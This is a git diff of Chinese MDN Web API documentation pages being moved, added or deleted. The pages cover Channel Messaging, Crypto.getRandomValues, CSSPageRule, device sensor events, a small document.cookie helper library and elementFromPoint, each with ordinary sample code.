+ + diff --git "a/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" "b/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" deleted file mode 100644 index 8ddfa8df8e..0000000000 --- "a/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: 使用 channel messaging -slug: Web/API/Channel_Messaging_API/使用_channel_messaging -tags: - - API - - Channel messaging - - HTML5 - - MessageChannel - - MessagePort - - 指南 -translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging ---- -

{{DefaultAPISidebar("Channel Messaging API")}}

- -

Channel Messaging API 可以让运行在不同浏览器上下文中的独立脚本,连接到同一份文档(比如:两个 IFrame, 或者主文档和一个 IFrame, 或者使用同一个 {{domxref("SharedWorker")}} 的两份文档),并直接通信,通过每端一个 port 的双向频道(或管道)在两者之间传递消息。

- -

在文本中,我们将探索这项技术的基本用法。

- -

{{AvailableInWorkers}}

- -

用例

- -

Channel messaging 在这样的场景中特别有用:假如你有一个社交站点,它在主界面中通过 IFrame 内嵌了来自其他站点的内容,比如游戏,通讯录或者一个音乐播放器,有着个性化的音乐选择。当这些内容作为独立的单元时,一切都是 OK 的,但是当你想在主站点和 IFrame, 或者在不同的 IFrame 中交互时,困难就出现了。举例来说,假如你想从主站点向通讯录里添加一个联系人;或者想从游戏里,把最高分加入到个人资料;又或者,希望从音频播放器里,添加新的背景音乐到游戏中?因为浏览器使用的安全模型,使用传统的 web 技术来做这些事并不容易。你必须去考虑不同的源之间彼此是否信任,以及如何传递消息。

- -

换个角度说,Message Channels 可以提供一个安全的通道让你在不同的浏览器上下文间传递数据。

- -
-

提示: 要了解更多信息和思考,规范的 Ports 作为 Web 上一个对象兼容模型的基础 章节值得一读。

-
- -

简单的例子

- -

为了帮助你开始,我们在 Github 上传了一些 demo. 一开始可以先看我们的 channel messaging 基本示例 (也可以在线运行),它展示了一个非常简单的消息传递,发生在页面和内嵌 {{htmlelement("iframe")}} 之间。 

- -

然后,看看我们的 multimessaging demo (在线运行),它展示了一个稍微复杂一点的例子,可以在主页面和 IFrame 之间发送多条消息。

- -

本文中,我们重点说后面的这个例子。它看起来像是这样:

- -

- -

创建 channel

- -

在例子的主页面,我们有一个简单的表单,内含一个文本输入框,用来输入要发送到 {{htmlelement("iframe")}} 的消息。我们还有一个段落,我们在稍后将会用它来显示 {{htmlelement("iframe")}} 回传回来的确认消息。

- -
var input = document.getElementById('message-input');
-var output = document.getElementById('message-output');
-var button = document.querySelector('button');
-var iframe = document.querySelector('iframe');
-
-var channel = new MessageChannel();
-var port1 = channel.port1;
-
-// 等待 iframe 加载
-iframe.addEventListener("load", onLoad);
-
-function onLoad() {
-  // 监听按钮点击
-  button.addEventListener('click', onClick);
-
-  // 在 port1 监听消息
-  port1.onmessage = onMessage;
-
-  // 把 port2 传给 iframe
-  iframe.contentWindow.postMessage('init', '*', [channel.port2]);
-}
-
-// 当按钮点击时,在 port1 上发送一个消息
-function onClick(e) {
-  e.preventDefault();
-  port1.postMessage(input.value);
-}
-
-// 处理 port1 收到的消息
-function onMessage(e) {
-  output.innerHTML = e.data;
-  input.value = '';
-}
- -

我们从使用 {{domxref( "MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建了一个 message channel 开始。

- -

当 IFrame 加载完成,我们在按钮上注册了onclick 事件处理函数,在 {{domxref("MessageChannel.port1")}} 注册了 onmessage 事件处理函数。最后,我们使用 {{domxref("window.postMessage")}} 方法把 {{domxref("MessageChannel.port2")}} 传给 IFrame.

- -

让我们来了解一下 iframe.contentWindow.postMessage 更多的工作细节。它接受三个参数:

- -
    -
  1. 被发送的消息。对于一开始的 port 传递,这个消息可以是个空字符串,但是在例子里,我们传了 'init'.
  2. -
  3. 消息将被发送到的源(origin)。 * 意思是 "任何源".
  4. -
  5. 一个对象,它的所有权会被传给接受的浏览器上下文。在本例中,我们把 {{domxref("MessageChannel.port2")}} 传给了 IFrame, 然后它就可以用于与主页面通信了。
  6. -
- -

当我们的按钮被点击时,我们阻止了默认的表单提交,然后把输入到输入框里的内容通过 {{domxref("MessageChannel")}} 发送给 IFrame.

- -

在 IFrame 里接收 port 和消息

- -

在 IFrame 里,我们有下面的 JavaScript:

- -
var list = document.querySelector('ul');
-var port2;
-
-// 监听初始的 port 传递消息
-window.addEventListener('message', initPort);
-
-// 设置传过来的 port
-function initPort(e) {
-  port2 = e.ports[0];
-  port2.onmessage = onMessage;
-}
-
-// 处理 port2 收到的消息
-function onMessage(e) {
-  var listItem = document.createElement('li');
-  listItem.textContent = e.data;
-  list.appendChild(listItem);
-  port2.postMessage('Message received by IFrame: "' + e.data + '"');
-}
-
- -

当收到从主页面通过 {{domxref("window.postMessage")}} 方法传来的初始化消息时,我们运行 initPort 函数。它会保存传来的 port, 并且注册了一个 onmessage 事件处理器,每当有消息通过我们的 {{domxref("MessageChannel")}} 传来时,它都会被调用。

- -

当收到从主页面发来的消息时,我们创建一个列表项,并把它插入到这个无序列表中,然后把这个列表项的 {{domxref("Node.textContent","textContent")}} 设置为事件的 data 属性(里面包含真正的消息)。

- -

然后,我们通过在初始化时传到 IFrame 的 {{domxref("MessageChannel.port2")}} 上调用 {{domxref("MessagePort.postMessage")}} 来使用 message channel 发送一个确认消息给主页面。

- -

在主页面中接收确认消息

- -

回到主页面,我们来一起看看 onmessage 事件处理函数。

- -
// 处理 port1 上收到的消息
-function onMessage(e) {
-  output.innerHTML = e.data;
-  input.value = '';
-}
- -

当收到从 IFrame 发来的确认消息,说明原始消息被成功接收时,它把确认消息输出到段落中,并清空输入框,为输入下一个要被发送的消息做准备。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- -
-

MessageChannel

- -
- - -

{{Compat("api.MessageChannel", 0)}}

- -

MessagePort

- -
- - -

{{Compat("api.MessagePort", 0)}}

-
-
-
- -

参见

- - diff --git a/files/zh-cn/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/web/api/crypto/getrandomvalues/index.html new file mode 100644 index 0000000000..5df5fb0a83 --- /dev/null +++ b/files/zh-cn/web/api/crypto/getrandomvalues/index.html @@ -0,0 +1,77 @@ +--- +title: Crypto.getRandomValues() +slug: Web/API/RandomSource/getRandomValues +tags: + - API + - 加密 + - 参考 + - 安全 + - 密码学 + - 方法 +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto.getRandomValues() 方法让你可以获取符合密码学要求的安全的随机值。传入参数的数组被随机值填充(在加密意义上的随机)。

+ +

为了确保足够的性能,不使用真正的随机数生成器,但是它们正在使用具有足够熵值伪随机数生成器。它所使用的 PRNG 的实现与其他不同,但适用于加密的用途。该实现还需要使用具有足够熵的种子,如系统级熵源。

+ +

语法

+ +
cryptoObj.getRandomValues(typedArray);
+ +

参数

+ +
+
typedArray
+
是一个基于整数的 {{jsxref("TypedArray")}},它可以是 {{jsxref("Int8Array")}}、{{jsxref("Uint8Array")}}、{{jsxref("Int16Array")}}、 {{jsxref("Uint16Array")}}、 {{jsxref("Int32Array")}} 或者 {{jsxref("Uint32Array")}}。在数组中的所有的元素会被随机数重写。(注释:生成的随机数储存在 typedArray 数组上。)
+
+ +

异常事件

+ + + +

例子

+ +
/* 假设 window.crypto.getRandomValues 可用 */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Your lucky numbers:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

标准

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Crypto.getRandomValues")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cssmatrix/index.html b/files/zh-cn/web/api/cssmatrix/index.html deleted file mode 100644 index 16fe55276d..0000000000 --- a/files/zh-cn/web/api/cssmatrix/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: CSSMatrix -slug: Web/API/CSSMatrix -translation_of: Web/API/DOMMatrix -translation_of_original: Web/API/CSSMatrix ---- -
{{APIRef("CSSOM")}}{{Non-standard_header}}
- -

CSSMatrix 代表可以用于2D或3D变换的4x4齐次矩阵。据说这个类曾经是 CSS Transitions Module Level 3 的一部分,但在现在的工作草案里不存在 。请使用  DOMMatrix

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Compat', '#webkitcssmatrix-interface', 'WebKitCSSMatrix')}}{{Spec2('Compat')}}Initial standardization of the WebKit-prefixed version, WebKitCSSMatrix.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}11[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -

[1] Internet Explorer 将此 API实现为MSCSSMatrix。在版本11中,加入了别名WebKitCSSMatrix

- -

[2] WebKit 将此 API实现为WebKitCSSMatrix

- -

相关链接

- - diff --git a/files/zh-cn/web/api/csspagerule/index.html b/files/zh-cn/web/api/csspagerule/index.html new file mode 100644 index 0000000000..ff1d047a59 --- /dev/null +++ b/files/zh-cn/web/api/csspagerule/index.html @@ -0,0 +1,65 @@ +--- +title: CSS分页规则 +slug: Web/API/CSS分页规则 +translation_of: Web/API/CSSPageRule +--- +
{{APIRef("CSSOM")}}
+ +

CSSPageRule  是代表一个css接口 {{cssxref("@page")}} 规则. 它实现了 {{domxref("CSSRule")}} 类型值为6的接口 (CSSRule.PAGE_RULE).

+ +

语法

+ +

这个语法是使用 WebIDL 格式.

+ +
interface CSSPageRule : CSSRule {
+  attribute DOMString selectorText;
+  readonly attribute CSSStyleDeclaration style;
+};
+
+ +

Properties

+ +

 {{domxref("CSSRule")}}, CSSPageRule 也实现了此接口的属性。 它具有以下特定属性:

+ +
+
{{domxref("CSSPageRule.selectorText")}}
+
表示与规则关联的页面选择器的文本。
+
{{domxref("CSSPageRule.style")}} {{readonlyinline}}
+
返回与规则关联的声明块。
+
+ +

Methods

+ +

作为 {{domxref("CSSRule")}}, CSSPageRule 的CSSPageRule还实现了该接口的方法。 它没有具体方法。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('CSSOM', '#the-csspagerule-interface', 'CSSPageRule')}}{{Spec2('CSSOM')}} +

没有变化 {{SpecName('DOM2 Style')}}

+
{{SpecName('DOM2 Style', 'css.html#CSS-CSSPageRule', 'CSSPageRule')}}{{Spec2('DOM2 Style')}}初始定义
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSPageRule")}}

diff --git "a/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" "b/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" deleted file mode 100644 index ff1d047a59..0000000000 --- "a/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: CSS分页规则 -slug: Web/API/CSS分页规则 -translation_of: Web/API/CSSPageRule ---- -
{{APIRef("CSSOM")}}
- -

CSSPageRule  是代表一个css接口 {{cssxref("@page")}} 规则. 它实现了 {{domxref("CSSRule")}} 类型值为6的接口 (CSSRule.PAGE_RULE).

- -

语法

- -

这个语法是使用 WebIDL 格式.

- -
interface CSSPageRule : CSSRule {
-  attribute DOMString selectorText;
-  readonly attribute CSSStyleDeclaration style;
-};
-
- -

Properties

- -

 {{domxref("CSSRule")}}, CSSPageRule 也实现了此接口的属性。 它具有以下特定属性:

- -
-
{{domxref("CSSPageRule.selectorText")}}
-
表示与规则关联的页面选择器的文本。
-
{{domxref("CSSPageRule.style")}} {{readonlyinline}}
-
返回与规则关联的声明块。
-
- -

Methods

- -

作为 {{domxref("CSSRule")}}, CSSPageRule 的CSSPageRule还实现了该接口的方法。 它没有具体方法。

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
规格状态注释
{{SpecName('CSSOM', '#the-csspagerule-interface', 'CSSPageRule')}}{{Spec2('CSSOM')}} -

没有变化 {{SpecName('DOM2 Style')}}

-
{{SpecName('DOM2 Style', 'css.html#CSS-CSSPageRule', 'CSSPageRule')}}{{Spec2('DOM2 Style')}}初始定义
- -

Browser compatibility

- - - -

{{Compat("api.CSSPageRule")}}

diff --git a/files/zh-cn/web/api/deviceacceleration/index.html b/files/zh-cn/web/api/deviceacceleration/index.html deleted file mode 100644 index 34b215d781..0000000000 --- a/files/zh-cn/web/api/deviceacceleration/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: DeviceAcceleration -slug: Web/API/DeviceAcceleration -tags: - - API - - 传感器 - - 实验性 - - 接口 - - 需要示例 -translation_of: Web/API/DeviceMotionEventAcceleration -translation_of_original: Web/API/DeviceAcceleration ---- -
{{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
- -
 
- -

设备加速对象可以提供有关设备沿三个轴(x、y、z)的加速度的信息。

- -

属性

- -
-
{{domxref("DeviceAcceleration.x")}} {{readonlyInline}}
-
沿X轴的加速度量(只读)
-
{{domxref("DeviceAcceleration.y")}} {{readonlyInline}}
-
沿Y轴的加速度量(只读)
-
{{domxref("DeviceAcceleration.z")}} {{readonlyInline}}
-
沿Z轴的加速度量(只读)
-
- -

说明

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("Device Orientation", "#device_acceleration", "DeviceAcceleration")}}{{Spec2("Device Orientation")}}Initial definition
diff --git a/files/zh-cn/web/api/devicelightevent/using_light_events/index.html b/files/zh-cn/web/api/devicelightevent/using_light_events/index.html deleted file mode 100644 index f90edf8ca2..0000000000 --- a/files/zh-cn/web/api/devicelightevent/using_light_events/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Using Light Events -slug: Web/API/DeviceLightEvent/Using_light_events -tags: - - WebAPI - - 事件 - - 环境光 -translation_of: Web/API/Ambient_Light_Events ---- -
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
- -

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

- -

光线事件

- -

当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

- -

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

- -

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

- -

示例

- -
if ('ondevicelight' in window) {
-  window.addEventListener('devicelight', function(event) {
-    var body = document.querySelector('body');
-    if (event.value < 50) {
-      body.classList.add('darklight');
-      body.classList.remove('brightlight');
-    } else {
-      body.classList.add('brightlight');
-      body.classList.remove('darklight');
-    }
-  });
-} else {
-  console.log('不支持 devicelight 事件');
-}
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
- -

浏览器兼容性

- - - -

{{Compat("api.DeviceLightEvent")}}

- -

Gecko 备注

- -

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

- -

参见

- - diff --git a/files/zh-cn/web/api/devicemotioneventacceleration/index.html b/files/zh-cn/web/api/devicemotioneventacceleration/index.html new file mode 100644 index 0000000000..34b215d781 --- /dev/null +++ b/files/zh-cn/web/api/devicemotioneventacceleration/index.html @@ -0,0 +1,47 @@ +--- +title: DeviceAcceleration +slug: Web/API/DeviceAcceleration +tags: + - API + - 传感器 + - 实验性 + - 接口 + - 需要示例 +translation_of: Web/API/DeviceMotionEventAcceleration +translation_of_original: Web/API/DeviceAcceleration +--- +
{{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
+ +
 
+ +

设备加速对象可以提供有关设备沿三个轴(x、y、z)的加速度的信息。

+ +

属性

+ +
+
{{domxref("DeviceAcceleration.x")}} {{readonlyInline}}
+
沿X轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.y")}} {{readonlyInline}}
+
沿Y轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.z")}} {{readonlyInline}}
+
沿Z轴的加速度量(只读)
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Device Orientation", "#device_acceleration", "DeviceAcceleration")}}{{Spec2("Device Orientation")}}Initial definition
diff --git a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html deleted file mode 100644 index 450751cefa..0000000000 --- a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: 简单的cookie框架 -slug: Web/API/Document/cookie/Simple_document.cookie_framework -tags: - - Cookies - - cookie -translation_of: Web/API/Document/cookie/Simple_document.cookie_framework ---- -

一个小型框架: 一个完整的cookies读/写器对Unicode充分支持

- -

由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个Storage 对象部分一致的对象(docCookies)来抽象对document.cookie的访问。

- -

 以下代码也在GitHub上获取。它是基于GNU General Public License v3.0 许可 (许可链接)

- -
- -
/*\
-|*|
-|*|  :: cookies.js ::
-|*|
-|*|  A complete cookies reader/writer framework with full unicode support.
-|*|
-|*|  Revision #1 - September 4, 2014
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|  https://github.com/madmurphy/cookies.js
-|*|
-|*|  This framework is released under the GNU Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
-|*|
-|*|  Syntaxes:
-|*|
-|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
-|*|  * docCookies.getItem(name)
-|*|  * docCookies.removeItem(name[, path[, domain]])
-|*|  * docCookies.hasItem(name)
-|*|  * docCookies.keys()
-|*|
-\*/
-
-var docCookies = {
-  getItem: function (sKey) {
-    if (!sKey) { return null; }
-    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
-  },
-  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
-    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
-    var sExpires = "";
-    if (vEnd) {
-      switch (vEnd.constructor) {
-        case Number:
-          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
-          break;
-        case String:
-          sExpires = "; expires=" + vEnd;
-          break;
-        case Date:
-          sExpires = "; expires=" + vEnd.toUTCString();
-          break;
-      }
-    }
-    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
-    return true;
-  },
-  removeItem: function (sKey, sPath, sDomain) {
-    if (!this.hasItem(sKey)) { return false; }
-    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
-    return true;
-  },
-  hasItem: function (sKey) {
-    if (!sKey) { return false; }
-    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-  },
-  keys: function () {
-    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
-    for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
-    return aKeys;
-  }
-};
- -
Note: 对于never-expire-cookies  我们使用一个随意的遥远日期Fri, 31 Dec 9999 23:59:59 GMT. 处于任何原因,你担心这样一个日期,使用 惯例世界末日Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 有符号的32位二进制整数表示的最大秒数。(i.e., 01111111111111111111111111111111 which is new Date(0x7fffffff * 1e3)).
- -

cookie的写入

- -
语法
- -
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
- -
Description
- -

新增/重写一个 cookie.

- -
参数
- -
-
name
-
新增/重写一个 cookie的 名字  (字符传).
-
value
-
cookie的 (字符串).
-
end 可选
-
max-age(最大有效时间)单位秒 (e.g. 31536e3 表示一年, Infinity  表示永不过期的cookie), 或者以GMTString 格式或者Date object 的expires date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (number – finite or Infinitystring, Date object or null). -
-

Note: 尽管 officially defined in rfc6265, max-age 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给end参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:

- -
docCookies.setItem("mycookie", "Hello world!", 150);
- -

可以使用绝对日期重写,如下例所示:

- -
 maxAgeToGMT (nMaxAge) {
-  return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString();
-}
-
-docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));
- -

在上面的代码中,函数 maxAgeToGMT() 用于从相对时间(即,从“age”)创建GMTString.

-
-
-
path 可选
-
可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
可访问此cookie的域名. 例如,“example.com”“.example.com”(包括所有子域)或“subdomain.example.com”; 如果未指定,则默认为当前文档位置的主机端口(string or null).
-
secure 可选
-
cookie将仅通过https安全协议传输 (boolean or null).
-
- -

获取一个cookie

- -
语法
- -
docCookies.getItem(name)
- -
描述
- -

读一个cookie。如果cookie不存在,则返回null值。Parameters

- -
参数
- -
-
name
-
读取cookie的名字 (string).
-
- -

移除一个cookie

- -
语法
- -
docCookies.removeItem(name[, path[, domain]])
- -
描述
- -

删除一个cookie.

- -
参数
- -
-
name
-
待移除cookie的名字 (string).
-
path 可选
-
例如,"/","/ mydir";如果未指定,则默认为当前文档位置的当前路径 (string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
例如, "example.com",  或者 "subdomain.example.com"; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (string or null), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 -
Note: 要删除跨子域的cookie,您需要想setItem()样removeItem()中指定domain属性。
-
-
- -

检查一个cookie(是否存在)

- -
语法
- -
docCookies.hasItem(name)
- -
描述
- -

检查当前位置是否存在cookie。

- -
参数
- -
-
name
-
待检查cookie的名字 (string).
-
- -

获取所有cookie列表

- -
Syntax
- -
docCookies.keys()
- -
Description
- -

返回此位置的所有可读cookie的数组。

- -

Example usage:

- -
docCookies.setItem("test0", "Hello world!");
-docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
-docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
-docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
-docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
-docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
-docCookies.setItem("test6", "Hello world!", 150);
-docCookies.setItem("test7", "Hello world!", 245, "/content");
-docCookies.setItem("test8", "Hello world!", null, null, "example.com");
-docCookies.setItem("test9", "Hello world!", null, null, null, true);
-docCookies.setItem("test1;=", "Safe character test;=", Infinity);
-
-alert(docCookies.keys().join("\n"));
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-docCookies.removeItem("test1");
-docCookies.removeItem("test5", "/home");
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-alert(docCookies.getItem("unexistingCookie"));
-alert(docCookies.getItem());
-alert(docCookies.getItem("test1;="));
-
diff --git a/files/zh-cn/web/api/document/elementfrompoint/index.html b/files/zh-cn/web/api/document/elementfrompoint/index.html deleted file mode 100644 index 6fb591e1da..0000000000 --- a/files/zh-cn/web/api/document/elementfrompoint/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Document.elementFromPoint() -slug: Web/API/Document/elementFromPoint -translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint -translation_of_original: Web/API/Document/elementFromPoint ---- -
- {{APIRef()}} {{Fx_minversion_header(3)}}
-

概述

-

返回当前文档上处于指定坐标位置最顶层的元素, 坐标是相对于包含该文档的浏览器窗口的左上角为原点来计算的, 通常 x 和 y 坐标都应为正数.

-

语法

-
var element = document.elementFromPoint(x, y);
- -

示例

-
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>elementFromPoint example</title>
-
-<script>
-function changeColor(newColor) {
-  elem = document.elementFromPoint(2, 2);
-  elem.style.color = newColor;
-}
-</script>
-</head>
-
-<body>
-<p id="para1">Some text here</p>
-<button onclick="changeColor('blue');">blue</button>
-<button onclick="changeColor('red');">red</button>
-</body>
-</html>
-
-

附注

-

If the element at the specified point belongs to another document (for example, an iframe's subdocument), the element in the DOM of the document the method is called on (in the iframe case, the iframe itself) is returned. If the element at the given point is anonymous or XBL generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.

-

If the specified point is outside the visible bounds of the document or either coordinate is negative, the result is null.

-

{{Note("Callers from XUL documents should wait until the onload event has fired before calling this method.")}}

-

规范

- diff --git a/files/zh-cn/web/api/document/elementsfrompoint/index.html b/files/zh-cn/web/api/document/elementsfrompoint/index.html deleted file mode 100644 index 9a7ee01503..0000000000 --- a/files/zh-cn/web/api/document/elementsfrompoint/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Document.elementsFromPoint() -slug: Web/API/Document/elementsFromPoint -translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint -translation_of_original: Web/API/Document/elementsFromPoint ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

elementsFromPoint() 方法可以获取到当前视口内指定坐标处,由里到外排列的所有元素。

- -

语法

- -
var elements = document.elementsFromPoint(x, y);
- -

返回值

- -

一个包含多个元素的数组

- -

参数

- -
-
x
-
当前视口内某一点的横坐标
-
y
-
当前视口内某一点的纵坐标
-
- -

示例

- -

HTML

- -
<div>
-  <p>Some text</p>
-</div>
-<p>Elements at point 30, 20:</p>
-<div id="output"></div>
-
- -

JavaScript

- -
var output = document.getElementById("output");
-if (document.elementsFromPoint) {
-  var elements = document.elementsFromPoint(30, 20);
-  for(var i = 0; i < elements.length; i++) {
-    output.textContent += elements[i].localName;
-    if (i < elements.length - 1) {
-      output.textContent += " < ";
-    }
-  }
-} else {
-  output.innerHTML = "<span style=\"color: red;\">" +
-     "您的浏览器不支持 <code>document.elementsFromPoint()</code>" +
-     "</span>";
-}
- -

{{EmbedLiveSample('Example', '420', '120')}}

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint')}}{{Spec2('CSSOM View')}}Initial definition.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support {{CompatChrome(43.0)}}{{CompatGeckoDesktop("46.0")}}[1]10.0 {{property_prefix("ms")}}{{CompatUnknown}}{{CompatSafari(11)}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(43.0)}}{{CompatGeckoMobile("46.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari(11)}}{{CompatChrome(43.0)}}
-
- -

 

diff --git a/files/zh-cn/web/api/document/fullscreen/index.html b/files/zh-cn/web/api/document/fullscreen/index.html new file mode 100644 index 0000000000..eb15adcede --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreen/index.html @@ -0,0 +1,108 @@ +--- +title: document.mozFullScreen +slug: Web/API/Document/mozFullScreen +translation_of: Web/API/Document/fullscreen +--- +

 

+ +

{{APIRef("Fullscreen API")}}{{Deprecated_Header}}

+ +

